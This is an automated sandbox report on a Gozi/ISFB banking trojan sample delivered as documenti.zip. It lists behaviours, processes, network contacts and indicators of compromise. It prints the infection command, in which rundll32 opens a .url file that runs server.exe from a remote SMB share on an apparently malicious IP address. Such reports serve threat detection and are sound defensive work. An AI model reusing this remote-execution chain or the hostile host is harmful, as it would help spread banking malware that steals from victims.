Malware Analysis Report

2025-08-11 01:45

Sample ID 230308-k3wzvsee7x
Target documenti.zip
SHA256 cac82566e9167dc82b09308d05194bfc1ce6441a27b51756024c8b6477d75401
Tags
gozi 7711 banker isfb trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

cac82566e9167dc82b09308d05194bfc1ce6441a27b51756024c8b6477d75401

Threat Level: Known bad

The file documenti.zip was found to be: Known bad.

Malicious Activity Summary

gozi 7711 banker isfb trojan

Gozi

Checks computer location settings

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious behavior: GetForegroundWindowSpam

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-03-08 09:08

Signatures

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2023-03-08 09:08

Reported

2023-03-08 09:10

Platform

win10v2004-20230220-en

Max time kernel

144s

Max time network

147s

Command Line

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\documenti\documenti.url

Signatures

Gozi

banker trojan gozi

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation C:\Windows\System32\rundll32.exe N/A

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4608 wrote to memory of 2148 N/A C:\Windows\System32\rundll32.exe \??\UNC\46.8.210.57\Agenzia\server.exe
PID 4608 wrote to memory of 2148 N/A C:\Windows\System32\rundll32.exe \??\UNC\46.8.210.57\Agenzia\server.exe
PID 4608 wrote to memory of 2148 N/A C:\Windows\System32\rundll32.exe \??\UNC\46.8.210.57\Agenzia\server.exe

Processes

C:\Windows\System32\rundll32.exe

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\documenti\documenti.url

\??\UNC\46.8.210.57\Agenzia\server.exe

"\\46.8.210.57\Agenzia\server.exe"

Network

Country Destination Domain Proto
RU 46.8.210.57:445 tcp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 57.210.8.46.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 210.81.184.52.in-addr.arpa udp
US 8.8.8.8:53 138.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 234.238.32.23.in-addr.arpa udp
US 8.8.8.8:53 checklist.skype.com udp
US 8.8.8.8:53 133.32.126.40.in-addr.arpa udp
IE 20.54.89.15:443 tcp
US 8.8.8.8:53 97.97.242.52.in-addr.arpa udp
US 8.8.8.8:53 2.36.159.162.in-addr.arpa udp
US 8.8.8.8:53 233.141.123.20.in-addr.arpa udp
US 8.8.8.8:53 97.97.242.52.in-addr.arpa udp
US 8.8.8.8:53 176.122.125.40.in-addr.arpa udp
US 8.8.8.8:53 50.4.107.13.in-addr.arpa udp
US 67.24.35.254:80 tcp
RU 62.173.138.6:80 tcp
NL 173.223.113.164:443 tcp
NL 173.223.113.131:80 tcp
US 204.79.197.203:80 tcp

Files

memory/2148-134-0x00000000005D0000-0x00000000005DB000-memory.dmp

memory/2148-135-0x00000000005F0000-0x00000000005FD000-memory.dmp

memory/2148-138-0x0000000000400000-0x000000000044C000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2023-03-08 09:08

Reported

2023-03-08 09:10

Platform

win7-20230220-en

Max time kernel

129s

Max time network

30s

Command Line

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\documenti\documenti.url

Signatures

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\System32\rundll32.exe N/A

Processes

C:\Windows\System32\rundll32.exe

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\documenti\documenti.url

Network

N/A

Files

memory/2016-54-0x0000000002400000-0x0000000002401000-memory.dmp